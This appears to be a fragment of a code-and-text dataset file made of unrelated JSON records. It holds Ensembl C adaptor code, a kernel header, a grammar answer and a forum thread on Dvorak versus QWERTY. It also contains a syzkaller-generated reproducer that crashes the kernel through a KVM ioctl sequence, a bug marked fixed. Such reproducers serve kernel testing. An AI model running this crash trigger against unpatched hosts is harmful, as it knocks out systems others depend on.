re-query the database. */\n\n    result = ensBaseadaptorFetchByIdentifier(\n        ensAnalysisadaptorGetBaseadaptor(aa),\n        identifier,\n        (void **) Panalysis);\n\n    analysisadaptorCacheInsert(aa, Panalysis);\n\n    return result;\n}\n\n\n\n\n/* @func ensAnalysisadaptorFetchByName ****************************************\n**\n** Fetch an Ensembl Analysis by its name.\n** The caller is responsible for deleting the Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::fetch_by_logic_name\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [r] name [const AjPStr] Ensembl Analysis name\n** @param [wP] Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisadaptorFetchByName(\n    EnsPAnalysisadaptor aa,\n    const AjPStr name,\n    EnsPAnalysis *Panalysis)\n{\n    char *txtname = NULL;\n\n    AjBool result = AJFALSE;\n\n    AjPList analyses = NULL;\n\n    AjPStr constraint = NULL;\n\n    EnsPAnalysis analysis = NULL;\n\n    EnsPBaseadaptor ba = NULL;\n\n    if (!aa)\n        return ajFalse;\n\n    if (!(name && ajStrGetLen(name)))\n        return ajFalse;\n\n    if (!Panalysis)\n        return ajFalse;\n\n    /*\n    ** Initially, search the name cache.\n    ** For any object returned by the AJAX Table the reference counter needs\n    ** to be incremented manually.\n    */\n\n    if (!aa->CacheByName)\n        analysisadaptorCacheInit(aa);\n\n    *Panalysis = (EnsPAnalysis) ajTableFetchmodS(aa->CacheByName, name);\n\n    if (*Panalysis)\n    {\n        ensAnalysisNewRef(*Panalysis);\n\n        return ajTrue;\n    }\n\n    /* In case of a cache miss, re-query the database. */\n\n    ba = ensAnalysisadaptorGetBaseadaptor(aa);\n\n    ensBaseadaptorEscapeC(ba, &txtname, name);\n\n    constraint = ajFmtStr(\"analysis.logic_name = '%s'\", txtname);\n\n    ajCharDel(&txtname);\n\n    analyses = ajListNew();\n\n    result = ensBaseadaptorFetchAllbyConstraint(\n        ba,\n        constraint,\n        (EnsPAssemblymapper) NULL,\n        (EnsPSlice) NULL,\n        analyses);\n\n    if (ajListGetLength(analyses) > 1)\n        ajWarn(\"ensAnalysisadaptorFetchByName got more than one \"\n               \"Ensembl Analysis for (UNIQUE) name '%S'.\\n\",\n               name);\n\n    ajListPop(analyses, (void **) Panalysis);\n\n    analysisadaptorCacheInsert(aa, Panalysis);\n\n    while (ajListPop(analyses, (void **) &analysis))\n    {\n        analysisadaptorCacheInsert(aa, &analysis);\n\n        ensAnalysisDel(&analysis);\n    }\n\n    ajListFree(&analyses);\n\n    ajStrDel(&constraint);\n\n    return result;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 23899, "token_count_with_eod": 23900, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#ifndef __FORK_H_\n#define __FORK_H_\n#include <stddef.h>\n#include \"trap_frame.h\"\n\nsize_t do_fork(TrapFrame *regs);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 40, "token_count_with_eod": 41, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "// general protection fault in kvm_arch_vcpu_ioctl_run\n// https://syzkaller.appspot.com/bug?id=ec18ac00452119a66a7071d0464345b0a26bbed8\n// status:fixed\n// autogenerated by syzkaller (https://github.com/google/syzkaller)\n\n#define _GNU_SOURCE\n\n#include <endian.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/syscall.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nuint64_t r[6] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff,\n                 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};\n\nint main(void)\n{\n  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);\n  long res = 0;\n  memcpy((void*)0x20000040, \"/dev/kvm\\x00\", 9);\n  res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000040, 0, 0);\n  if (res != -1)\n    r[0] = res;\n  res = syscall(__NR_ioctl, r[0], 0xae01, 0);\n  if (res != -1)\n    r[1] = res;\n  *(uint32_t*)0x20000240 = 0x79;\n  *(uint32_t*)0x20000244 = 0;\n  *(uint64_t*)0x20000248 = 0;\n  *(uint64_t*)0x20000250 = 0;\n  *(uint64_t*)0x20000258 = 0;\n  *(uint64_t*)0x20000260 = 0;\n  *(uint8_t*)0x20000268 = 0;\n  *(uint8_t*)0x20000269 = 0;\n  *(uint8_t*)0x2000026a = 0;\n  *(uint8_t*)0x2000026b = 0;\n  *(uint8_t*)0x2000026c = 0;\n  *(uint8_t*)0x2000026d = 0;\n  *(uint8_t*)0x2000026e = 0;\n  *(uint8_t*)0x2000026f = 0;\n  *(uint8_t*)0x20000270 = 0;\n  *(uint8_t*)0x20000271 = 0;\n  *(uint8_t*)0x20000272 = 0;\n  *(uint8_t*)0x20000273 = 0;\n  *(uint8_t*)0x20000274 = 0;\n  *(uint8_t*)0x20000275 = 0;\n  *(uint8_t*)0x20000276 = 0;\n  *(uint8_t*)0x20000277 = 0;\n  *(uint8_t*)0x20000278 = 0;\n  *(uint8_t*)0x20000279 = 0;\n  *(uint8_t*)0x2000027a = 0;\n  *(uint8_t*)0x2000027b = 0;\n  *(uint8_t*)0x2000027c = 0;\n  *(uint8_t*)0x2000027d = 0;\n  *(uint8_t*)0x2000027e = 0;\n  *(uint8_t*)0x2000027f = 0;\n  *(uint8_t*)0x20000280 = 0;\n  *(uint8_t*)0x20000281 = 0;\n  *(uint8_t*)0x20000282 = 0;\n  *(uint8_t*)0x20000283 = 0;\n  *(uint8_t*)0x20000284 = 0;\n  *(uint8_t*)0x20000285 = 0;\n  *(uint8_t*)0x20000286 = 0;\n  *(uint8_t*)0x20000287 = 0;\n  *(uint8_t*)0x20000288 = 0;\n  *(uint8_t*)0x20000289 = 0;\n  *(uint8_t*)0x2000028a = 0;\n  *(uint8_t*)0x2000028b = 0;\n  *(uint8_t*)0x2000028c = 0;\n  *(uint8_t*)0x2000028d = 0;\n  *(uint8_t*)0x2000028e = 0;\n  *(uint8_t*)0x2000028f = 0;\n  *(uint8_t*)0x20000290 = 0;\n  *(uint8_t*)0x20000291 = 0;\n  *(uint8_t*)0x20000292 = 0;\n  *(uint8_t*)0x20000293 = 0;\n  *(uint8_t*)0x20000294 = 0;\n  *(uint8_t*)0x20000295 = 0;\n  *(uint8_t*)0x20000296 = 0;\n  *(uint8_t*)0x20000297 = 0;\n  *(uint8_t*)0x20000298 = 0;\n  *(uint8_t*)0x20000299 = 0;\n  *(uint8_t*)0x2000029a = 0;\n  *(uint8_t*)0x2000029b = 0;\n  *(uint8_t*)0x2000029c = 0;\n  *(uint8_t*)0x2000029d = 0;\n  *(uint8_t*)0x2000029e = 0;\n  *(uint8_t*)0x2000029f = 0;\n  *(uint8_t*)0x200002a0 = 0;\n  *(uint8_t*)0x200002a1 = 0;\n  *(uint8_t*)0x200002a2 = 0;\n  *(uint8_t*)0x200002a3 = 0;\n  *(uint8_t*)0x200002a4 = 0;\n  *(uint8_t*)0x200002a5 = 0;\n  *(uint8_t*)0x200002a6 = 0;\n  *(uint8_t*)0x200002a7 = 0;\n  syscall(__NR_ioctl, r[1], 0x4068aea3, 0x20000240);\n  res = syscall(__NR_ioctl, r[1], 0xae41, 0);\n  if (res != -1)\n    r[2] = res;\n  *(uint64_t*)0x200002c0 = 0;\n  *(uint32_t*)0x200002c8 = 0;\n  *(uint16_t*)0x200002cc = 0;\n  *(uint8_t*)0x200002ce = 0;\n  *(uint8_t*)0x200002cf = 0;\n  *(uint8_t*)0x200002d0 = 0;\n  *(uint8_t*)0x200002d1 = 0;\n  *(uint8_t*)0x200002d2 = 0;\n  *(uint8_t*)0x200002d3 = 0;\n  *(uint8_t*)0x200002d4 = 0;\n  *(uint8_t*)0x200002d5 = 0;\n  *(uint8_t*)0x200002d6 = 0;\n  *(uint8_t*)0x200002d7 = 0;\n  *(uint64_t*)0x200002d8 = 0;\n  *(uint32_t*)0x200002e0 = 0;\n  *(uint16_t*)0x200002e4 = 0;\n  *(uint8_t*)0x200002e6 = 0;\n  *(uint8_t*)0x200002e7 = 0;\n  *(uint8_t*)0x200002e8 = 0;\n  *(uint8_t*)0x200002e9 = 0;\n  *(uint8_t*)0x200002ea = 0;\n  *(uint8_t*)0x200002eb = 0;\n  *(uint8_t*)0x200002ec = 0;\n  *(uint8_t*)0x200002ed = 0;\n  *(uint8_t*)0x200002ee = 0;\n  *(uint8_t*)0x200002ef = 0;\n  *(uint64_t*)0x200002f0 = 0;\n  *(uint32_t*)0x200002f8 = 0;\n  *(uint16_t*)0x200002fc = 0;\n  *(uint8_t*)0x200002fe = 0;\n  *(uint8_t*)0x200002ff = 0;\n  *(uint8_t*)0x20000300 = 0;\n  *(uint8_t*)0x20000301 = 0;\n  *(uint8_t*)0x20000302 = 0;\n  *(uint8_t*)0x20000303 = 0;\n  *(uint8_t*)0x20000304 = 0;\n  *(uint8_t*)0x20000305 = 0;\n  *(uint8_t*)0x20000306 = 0;\n  *(uint8_t*)0x20000307 = 0;\n  *(uint64_t*)0x20000308 = 0;\n  *(uint32_t*)0x20000310 = 0;\n  *(uint16_t*)0x20000314 = 0;\n  *(uint8_t*)0x20000316 = 0;\n  *(uint8_t*)0x20000317 = 0;\n  *(uint8_t*)0x20000318 = 0;\n  *(uint8_t*)0x20000319 = 0;\n  *(uint8_t*)0x2000031a = 0;\n  *(uint8_t*)0x2000031b = 0;\n  *(uint8_t*)0x2000031c = 0;\n  *(uint8_t*)0x2000031d = 0;\n  *(uint8_t*)0x2000031e = 0;\n  *(uint8_t*)0x2000031f = 0;\n  *(uint64_t*)0x20000320 = 0;\n  *(uint32_t*)0x20000328 = 0;\n  *(uint16_t*)0x2000032c = 0;\n  *(uint8_t*)0x2000032e = 0;\n  *(uint8_t*)0x2000032f = 0;\n  *(uint8_t*)0x20000330 = 0;\n  *(uint8_t*)0x20000331 = 0;\n  *(uint8_t*)0x20000332 = 0;\n  *(uint8_t*)0x20000333 = 0;\n  *(uint8_t*)0x20000334 = 0;\n  *(uint8_t*)0x20000335 = 0;\n  *(uint8_t*)0x20000336 = 0;\n  *(uint8_t*)0x20000337 = 0;\n  *(uint64_t*)0x20000338 = 0;\n  *(uint32_t*)0x20000340 = 0;\n  *(uint16_t*)0x20000344 = 0;\n  *(uint8_t*)0x20000346 = 0;\n  *(uint8_t*)0x20000347 = 0;\n  *(uint8_t*)0x20000348 = 0;\n  *(uint8_t*)0x20000349 = 0;\n  *(uint8_t*)0x2000034a = 0;\n  *(uint8_t*)0x2000034b = 0;\n  *(uint8_t*)0x2000034c = 0;\n  *(uint8_t*)0x2000034d = 0;\n  *(uint8_t*)0x2000034e = 0;\n  *(uint8_t*)0x2000034f = 0;\n  *(uint64_t*)0x20000350 = 0;\n  *(uint32_t*)0x20000358 = 0;\n  *(uint16_t*)0x2000035c = 0;\n  *(uint8_t*)0x2000035e = 0;\n  *(uint8_t*)0x2000035f = 0;\n  *(uint8_t*)0x20000360 = 0;\n  *(uint8_t*)0x20000361 = 0;\n  *(uint8_t*)0x20000362 = 0;\n  *(uint8_t*)0x20000363 = 0;\n  *(uint8_t*)0x20000364 = 0;\n  *(uint8_t*)0x20000365 = 0;\n  *(uint8_t*)0x20000366 = 0;\n  *(uint8_t*)0x20000367 = 0;\n  *(uint64_t*)0x20000368 = 0;\n  *(uint32_t*)0x20000370 = 0;\n  *(uint16_t*)0x20000374 = 0;\n  *(uint8_t*)0x20000376 = 0;\n  *(uint8_t*)0x20000377 = 0;\n  *(uint8_t*)0x20000378 = 0;\n  *(uint8_t*)0x20000379 = 0;\n  *(uint8_t*)0x2000037a = 0;\n  *(uint8_t*)0x2000037b = 0;\n  *(uint8_t*)0x2000037c = 0;\n  *(uint8_t*)0x2000037d = 0;\n  *(uint8_t*)0x2000037e = 0;\n  *(uint8_t*)0x2000037f = 0;\n  *(uint64_t*)0x20000380 = 0;\n  *(uint16_t*)0x20000388 = 0;\n  *(uint16_t*)0x2000038a = 0;\n  *(uint16_t*)0x2000038c = 0;\n  *(uint16_t*)0x2000038e = 0;\n  *(uint64_t*)0x20000390 = 0;\n  *(uint16_t*)0x20000398 = 0;\n  *(uint16_t*)0x2000039a = 0;\n  *(uint16_t*)0x2000039c = 0;\n  *(uint16_t*)0x2000039e = 0;\n  *(uint64_t*)0x200003a0 = 0;\n  *(uint64_t*)0x200003a8 = 0;\n  *(uint64_t*)0x200003b0 = 0;\n  *(uint64_t*)0x200003b8 = 0;\n  *(uint64_t*)0x200003c0 = 0;\n  *(uint64_t*)0x200003c8 = 0;\n  *(uint64_t*)0x200003d0 = 0;\n  *(uint64_t*)0x200003d8 = 0;\n  *(uint64_t*)0x200003e0 = 0;\n  *(uint64_t*)0x200003e8 = 0;\n  *(uint64_t*)0x200003f0 = 0;\n  syscall(__NR_ioctl, r[2], 0x4138ae84, 0x200002c0);\n  memcpy((void*)0x20000040, \"/dev/kvm\\x00\", 9);\n  res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000040, 0, 0);\n  if (res != -1)\n    r[3] = res;\n  res = syscall(__NR_ioctl, r[3], 0xae01, 0);\n  if (res != -1)\n    r[4] = res;\n  res = syscall(__NR_ioctl, r[4], 0xae41, 0);\n  if (res != -1)\n    r[5] = res;\n  *(uint32_t*)0x20000340 = 1;\n  *(uint32_t*)0x20000344 = 0;\n  *(uint32_t*)0x20000348 = 0x4000009e;\n  *(uint32_t*)0x2000034c = 0;\n  *(uint64_t*)0x20000350 = 0;\n  syscall(__NR_ioctl, r[5], 0x4008ae89, 0x20000340);\n  syscall(__NR_ioctl, r[5], 0xae80, 0);\n  return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 4951, "token_count_with_eod": 4952, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "what are the differences between a clause and a sentence?\nA clause is a group of words that contain a subject and a verb. If if makes sense by itself it is an independent clause, and can function on its own as a sentence.\nThe dog saw the cat. This is an independent clause functioning as a complete sentence\nIf the clause does not make sense by itself, then it is a dependent clause and must be used as part of a complex sentence.\nso the cat ran away This is a dependent clause. It contains a subject (cat) and a verb (ran), but it does not express a complete thought.\nThe complex sentence looks like this:\nThe dog saw the cat, so the cat ran away.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "While I'm not training my children to become programmers, it's a virtual certainty that any job/profession will require the use of a computer, and that means the ability to type. I keep reading that those who can type using the Dvorak layout are faster but have always thought \"I'm too old to switch keyboard layouts at this point\" -- but what about my kids who haven't even learned to type yet?\nAre there downsides of learning something other than QWERTY and, if so, do the benefits outweigh the negatives?\nI don't think there is anything to gain speed wise from using Dvorak, and you'll only more compatibility issues from having to work in a QWERTY focused world.\nAbove is a good article on the topic.\nIt's not really about speed, it's about comfort. I can type with both layouts very quickly, but can maintain my speed for longer on Dvorak. Moreover, Qwerty makes my hands hurt very very quickly, while I can keep typing with Dvorak all day long.\nI don't know why mruts is being downvoted. The only reason to use Dvorak, imho, is the better ergonomics. I switched to it over a decade ago because my hands were showing early signs of repetitive stress. The pain went away right after switching and has not come back. The other benefit is that nobody can use my computers because nothing but gibberish comes out when they type.\nThat said, if you can type comfortably in Qwerty, I suggest using it. Being able to type on any keyboard without having to hunt around for the keyboard layout switcher is nice.\nAs someone who learned to type in QWERTY, Dvorak, and Colemak (in that order) my belief is that most people attribute ergonomics and improved typing ability to the new alternative layout they learned instead of the fact that they finally learned how to type properly, seeing as very few people I know seem to have learned how to properly type - even ones who can type much faster-than-the-average (80-120wpm where average is well under 60wpm)\nI found Dvorak to be significantly worse than QWERTY in both speed and comfort, seeing as Dvorak is more heavily biased towards the right hand and I am left hand dominant (although mostly ambidextrous). I then gave Colemak a try and found it to be a bit more comfortable and eventually trained to reach my previous QWERTY speed of 165-170wpm. I use QWERTY at work but Colemak at home.\nNote: by \"mostly ambidextrous\" I mean that most tasks I can use either arm/hand. I write with my right but throw and punch with my left.\n> my belief is that most people attribute ergonomics and improved typing ability to the new alternative layout they learned instead of the fact that they finally learned how to type properly\nNot in my case. I first learned to type properly on Qwerty.\n> I found Dvorak to be significantly worse than QWERTY in both speed and comfort, seeing as Dvorak is more heavily biased towards the right hand and I am left hand dominant\nI'm going to need to see some proof for that assertion. Just going off the top of my head, I'd say I type far more with my left hand than my right using Dvorak.\n>Not in my case. I first learned to type properly on Qwerty.\nI'll take you at your word, but most people I see claim this have extremely poor typing habits. Similar to a self-taught musician who ingrained poor habits because they never had anyone around to correct them.\n>I'm going to need to see some proof for that assertion. Just going off the top of my head, I'd say I type far more with my left hand than my right using Dvorak.\nSure thing. Summing the frequencies in the English language and applying it to the keyboard layouts gives:\nDvorak: Left 43.2%, Right 56.8%\nQWERTY: Left 58.7%, Right 41.3%\nmy hands were showing early signs of repetitive stress\nI learned to type 37 years ago and type 160 WPM with 100% accuracy and have the www.typeracer.com profile to prove it.\nAbout 15 years ago I started having RSI symptoms and ended up sleeping in braces every night because it got so bad. EMG studies showed significant damage to median and ulnar nerve conductivity. Someone on slashdot.org pointed me to the work of Dr. John Sarno. His theory is deceptively simple but if you take the time to truly understand and practice it, you won't have RSI issues any longer.\nTMS is fringe medicine. Or non-medicine depending on who you ask.\nIt has a single peer reviewed article that only shows modest reduction in pain symptoms with no control group. The protocol involves emotional support/emotional sharing/etc. The reason why those two links were chosen rather than Wikipedia was because Wikipedia largely debunked it:\nThere's no known physical mechanism wherein TMS could work, and oddly its proponents haven't released scans of impacted areas (back, wrist, etc) that show this \"increased blood flow\" and physical restoration for which their claim is based.\n> Critics in mainstream medicine state that neither the theory of TMS nor the effectiveness of the treatment has been proven in a properly controlled clinical trial, citing the placebo effect and regression to the mean as possible explanations for its success.\nLiving in Germany and being used to QWERTY it's really hard for me to use someone elses computer, because it will most likely be QWERTZ (German layout) and that alone annoys me to no end. I can't imagine how difficult it would be to be used to a completely different keyboard.\n> it's really hard for me to use someone elses computer\nHow often do you type on someone else's computer? It is not comparable to the amount of time you use your own keyboard.\nFor the OPs context (their kids) I expect they'll have a lot of typing too do on school computers\nI get used to it pretty fast. My keyboard at work in QWERTZ and my keyboard at home is QWERTY. For me, it's a mind thing.\nI use QUERTY and UK/US keyboard layout, and the just memorised the Option key combos for the åäö etc. was less hassle for me.\nUnder linux I do the same, but under windows I have to constantly switch the layout to german, type ä, ö, ü or ß and switch back to english.\nThat's not the problem though; the annoying thing is when a PC is configured to only have the German layout available, so I constantly mix up Z and Y\nThis situation got me. Maybe I was rather tired when I did this. It was when one of the letters in my bank's password is a Z but I keep hitting the Y key. After 3 attempts, I got locked out and had to wait until the Monday to contact the bank!\nOr you could memorise the ascii codes and type e.g. alt+[keypad] 0248 => ø.\nEdit: Is that what GP Bjelkeman meant by \"option key combos\"?\nOn macos you can press <Option-u> followed by a vowel and you will get the corresponding Umlaut. (üäö) Additionally there are other combinations for accents and stuff like that.\nThanks, that's good to know!\nThink of it this way: would you teach your kids Esperanto instead of the native tongue in your country?\nPerhaps without realising it, the question you're asking is, \"Should I teach my kids the thing that will help them in society as it exists or should I teach them a potentially superior but less applicable alternative?\"\nThanks for putting it so eloquently\nThe tech crowd sometimes misses the network effects of common solutions that might not be \"the best\" (and I'm really really skeptical that Dvorak is better)\nI guess the difference between _how_ to write something compared to _what_ to write.\nIf people writing qwerty couldn't understand people who wrote dvorak, I would understand your argument, but languages are so much more different than a keyboard layout.\nBut in the end, both keyboard layouts end up being able to write exactly the same words, the only difference is the speed (as I understand, only once tried using dvorak so I don't really know)\nI see what you're saying but I think you're taking my point too literally.\nQWERTY is the default layout (in English speaking countries and as QWERTY was mentioned, I assume OP is in an English speaking country). QWERTY is on the computers in schools, on the computers available to buy in stores, on the computers in offices.\nTeaching kids Dvorak is putting them at a disadvantage in life, just as teaching them Esperato, Inrterlingua, Lojban, or similar artificial languages instead of English might seem intellectually appealing but would set them up for a life of difficulty.\nI see what you are saying too but I don't think speaking/understanding two different languages are the same as using two different keyboard layouts.\nIf I never seen a qwerty keyboard before and only used dvorak, I could probably type with it, it would only be a bit slower than usual. Same when I see someone with a dvorak keyboard. Although the layout is very different, I could still use it, but it slows me down a lot.\nHowever, if someone only speaks/understands Esperanto meets someone who only speaks English, it will be way harder for them to understand each other, harder than trying to understand another keyboard layout.\nI'm not suggesting that they're the same. Instead, I'm offering an example of another thing you could do in your child's education that might seem good at the time but would actually give them a disadvantage.\nI get that using a Dvorak keyboard isn't a total barrier to communication but it is non-standard in our society and so possible advantages would be outweighed by the children having to adjust when they encounter the world at large.\n> the only difference is the speed\nThe analogy isn't that a qwerty typist can't understand a dvorak typist, but that when our society uses a certain standard, using something else that's only marginally better might be more trouble than it's worth. Would you want your kid to be unable to use the keyboards at school, or the library, or what comes stock on laptops, or (directly addressing OP) the workplace? Sure, many jobs require computer use, but unless it's an office, they're likely shared computers.\nRelevant xkcd: https://xkcd.com/927/\nMy kids are not quite old enough to require keyboard input (doing it, not receiving it, ya dummy) but I have pondered this very question.\nI have been using Dvorak almost exclusively for about 15 years now. It's not faster, that's a myth -- but it is much more easy on the fingers: depending on the nature of your prose, you'll save perhaps 30% finger movement. With Colemak, that number is less, but you gain a more comparable (to qwerty) shortcut-key layout.\nObviously, there are all sorts of adversities facing Dvorak typists: native hardware keyboard layouts, limits to the users ability to configure software keyboard layouts (for instance, you may be able to change it on your desktop -- but not on the lock screen!), and of course having to fall back to qwerty on other's devices.\nCuriously, on a non-touch-typing device such as the touch screen of a tablet or mobile phone, I'm useless on Dvorak (perhaps exactly because Dvorak was designed for hand-alteration?), so there I'm by far more proficient with one hand on qwerty.\nIn the end, I think I will settle for showing them both layouts in use at their home, and let them decide which to use. However, @kqr makes a number of very good points, not least the RSI one.\nThere's also quite a lot of knowledge tucked away in this post: https://blog.hanschen.org/2010/01/30/dvorak-two-years-later-...\n> doing it, not receiving it\nThanks for the clarification\nOn a more serious note,\n> having to fall back to qwerty on other's devices\nThis alone effectively nullifies my will to learn Dvorak\n> It's not faster, that's a myth\nThis is false. There a plenty of statistics showing that Dvorak is faster (albeit it's true that the main benefits is around finger movement)\n> native hardware keyboard layouts\nNever been a problem: you don't need (or want) to look at the keys anyways.\n> limits to the users ability to configure software keyboard layouts\nAlso not a problem: you cannot touch-type on a phone and also you type with thumbs.\nStudies often show Dvorak is faster, but when you dig you discover they are not comparing equivalent. People who learn Dvorak are more likely to be better typists. When you compare equals you discover that the speed of the mind is the limit not the speed of the fingers and so it makes no difference.\nAs I recall there is one exception: if you are just copying something without having to think about it dvorak is faster. This isn't a common job, but it does exist.\nTeach them QWERTY. I use Programmer's Dvorak and I love it. But I also have a very specialized setup and everything optimized for myself. Your kids will have to work with different setups in the next decade or two. For them it's more important to be flexible. Later when they specialized themselves and only work in an environment they control they can switch and choose whatever fits them.\nTo get philosophical, a parents' job is more to prepare a kid for the world as it is, rather than engrain your own preferences to the point of impracticality.\nI'll ask one question. Is someone really needs typing speeds over 200 keys/minute? What task nowadays benefits from such speeds? Will these tasks keep being relevant in ten years?\nAs a programmer I do not need 200 chars/minute. I believe that developed skills to use movement keys and key sequences, like arrow keys, Ctrl-arrows, Home, End, and others. For example, I struggle every time with a laptop keyboard, because Home/End/Delete are oddly placed and I miss them half of the times.\nI'll ask a different question: why should someone use QWERTY? If you're learning for the first time, you don't have anything they to compare to, so you might as well use a scientifically better option, right?\nI learned Dvorak because I wanted to be part of an elite group (I mean, how many Dvorak typists are they?). I kept using it because my wrist pain went away. Perhaps that's because I relearned to type and thus fixed bad habits. I had pretty good form before learning Dvorak, so I like to think that the reduced finger travel is helping.\nBut how will your child feel when they're different than their friends and have to make special accommodations when using someone else's computer? That's a bit more important than any technical benefit IMO, and is why I'll teach my kids QWERTY.\nPlease, notice, I do not argue that someone should use QWERTY. I'm just trying to point that the strongest reason to prefer Dvorak maybe not a reason anymore. Maybe there are other reasons, I dont know. But it seems for me that people keep arguing about speed while all that discussion might be obsolete. They'd better to discuss other reasons.\n> But how will your child feel when they're different than their friends and have to make special accommodations when using someone else's computer?\nAccidently I wrote a wall of text answering to this. I'm sorry, it is one of my favorite topics: developmental psychology. The tl;dr version of it is: I wouldn't teach my child how to type at all.\nNow the long version.\nIf children wanted to be different, than I would say them: it is all up to you, my children, if you need my blessing, you got it.\nLook, a person get a desire to be different somewhere after 15 years old typically. Maybe some manage to develop to this point earlier, but I do not know about such a cases. Mostly they get to it after 15. Before that his difference from others would be either indifferent or annoying.\nIf you taught your child to use Dvorak while he was in a kindergarten, it would go as you planned up to a moment when you child hits puberty (~12yo). Before it the motivation of a child is built over her desire to be a good girl (or boy, gender doesn't matter). She was not interested in being like others or being different. After that the motivation is an approvement of her friends. It means that teen becomes obsessed of being like others, and her underdeveloped skills of using QWERTY might get on the way of it. What will follow? The same that follow everytime with every teen and her parent, teen will decide that her parent is crazy weird graybeard, that it is a shame to have such a parent, and the only way to deal with it is to hide parent and his weird habits from friends. It means to pretend that she prefer QWERTY, to use QWERTY always, and even to provoke parents by using QWERTY defiantly and by arguing that Dvorak is bad and causes pimples. If you allow her to provoke you, if you start argue, than you just prove her that she was right about your inability to accept new ideas.\nIt is not necessarily would go by this scenario, but it is completely plausible scenario. If you are going to teach your child to some uncommon habits, then you need to take into a consideration that it could end badly. May I suggest an other way to do it? Don't teach your child to use Dvorak. Don't teach your child to use QWERTY. Let him to be a bad typist for the first 15 years of his life, it would do him no harm. Teach him instead to play a piano -- it gives him meta-skills that could help to learn any keyboard layout. Teach him to play a piano and wait patiently. Watch for him, you need a moment when your child stops being a jerk who believes that his friends are smarter and more experienced than his parents. It can happen at 15 years old, or 17 years old, or even 20 years old. Personal differences are great here.\nAfter that you a free to convince your kid to learn Dvorak. It might be not so hard as it looks. After ~15 yo teens like to work on themselves to become better and stronger. So it is completely possible to convience him to learn Dvorak even without a manipulation.\nMoreover, after all that was said, I believe that it is a bad idea to teach child to type. He will not need his skill for 10+ years at least. So why to bother? It is like to teach child to read at 3 years old, to be able to brag about how bright child is. No one is interested that for a 3 year old it is very hard to learn to read, it would be much easier at 5-6 years old. No one is interested that 3 years old have other skills to develop, skills that are easier to learn at 3 years old and maybe impossible to learn at 5 years old. No one is interested that to learn how to read child needs to read, but if he was taught to read at 3 years old, than he wouldn't use his skill for 2-5 years when he would read his first book. He might lose the feeling of novelty, and the book reading would seem boring for him before he tried.\nPeople obsessed with early development but do not bother to learn basics of developmental psychology and to develop their children for a sake of children, not for a sake of parents.\nBear in mind there's no point switching to a Dvorak keyboard unless you also teach them to touch type. A touch typist on a regular keyboard is still going to be a lot faster than a non-touch typist on a Dvorak.\nI'm confused--according to a quick search, \"touch typing\" is being able to type without looking at the keyboard?\nCan you even say you know how to type if you have to look at the keys to do it?\nI'm afraid this will be seen as a fairly arrogant stance. Plenty of people cannot type reasonably without looking at their keyboard once in a while, if only for the symbols. I know plenty of programmers who are productive enough, and can type letters and parentheses and so forth without looking away from the screen, but need to glance at the keyboard for the lesser-used symbols.\nThose people definitely know how to type. In fact, they know how to type _far_ better than many of the people in this world who don't work with a computer 7 days per week >=8 hours per day.\nIf you watch most people typing they occasionally glance at the keyboard, especially for little-user keys. A true touch typist should be able to type for extended periods without looking at the keyboard at all even for only occasionally used keys. Also true touch typing minimises finger and hand movements by using as many of the fingers of the hand to type with as possible, while most keyboard users rely on a few, and often just two fingers for most or all typing.\nYes. Have a look at some professionals you interact with that you'd expect to type a lot. Real estate agents, doctors, bankers, etc. You don't have to look far to find someone who pecks with index fingers whole looking at the keyboard. They sure know how to type (they produce the text they intend to) and do a lot of it every day.\nSeeing people hunt for keys with one or two index fingers - not when writing something profound, requiring of thought, but simply filling out forms - is incredibly frustrating. I'm going to argue they can't type when they're still using the keyboard as if it's the first day they saw one.\nA day or two spent learning to type would pay itself back with dividends.\nI put in the ground work for touch typing at school on the good old typewriters; it was certainly the best extra curriculum subject I've ever done.\n> I'm going to argue they can't type\nThey push the buttons and letters appear on screen. That's typing - everything else is optimisation :P\nI've seen plenty of people in the middle that didn't get formal training, but instead developed patterns based around clusters of keys. They may use more than two fingers, but they have no concept of the home row. In fact, I've been asked by people who type fairly often what the little bumps on the 'f' and 'j' keys are, which tells me that they most likely didn't learn to type properly.\nMy 5yo can \"type\" by hunting and pecking, and he's actually getting good enough that he doesn't get frustrated trying to type simple words (he likes looking up words at the library computers). My 2yo, however, knows his letters, but I don't think he really understands how keyboards work.\nPersonally, I'd say that someone can type if they can use a keyboard productively and have some means of speeding up entry besides looking at every key until they find the one they want (most people know vaguely where there keys are, even if they can't touch type).\nIf you are not at a keyboard often a few days spent learning to touch type is wasted: your brain will quickly forget and you are back to looking. You need to practice ANYTHING to retain the ability to do it (some things are easier than others which is why you can ride a bike after years of not touching one).\nIf you are going to use a keyboard often, then the time spent to learn a keyboard is well worth it. However if your day job doesn't require a keyboard those classes won't be helpful.\nSome people do claim that, yeah.\nBut I'd say there is actually a level between non-typist and touch-typist where the person needs to be looking at the keyboard, but knows where each key is and reaches that direction without actually having to move their eyes. They're really close to being a touch-typist, but they still need their eyes to get their fingers on the buttons reliably.\nI'd argue that Qwerty vs Dvorak relies on that intermediary step rather than actual \"touch typing\", but there isn't really a name for it.\nWhen I was in school the only computers I had access to were in the schools computer halls which were shared with every other class in school. Settings like keyboard changes could not be persisted, and even so I got a different computer every time.\nI love Dvorak and using it has been a huge boon for me, but I'm also able to control my environment and always use the same computer.\nSo I say go with QWERTY.\nEven if the kid has a laptop like many do now, how easily will they learn Dvorak when qwerty comes stock?\nI 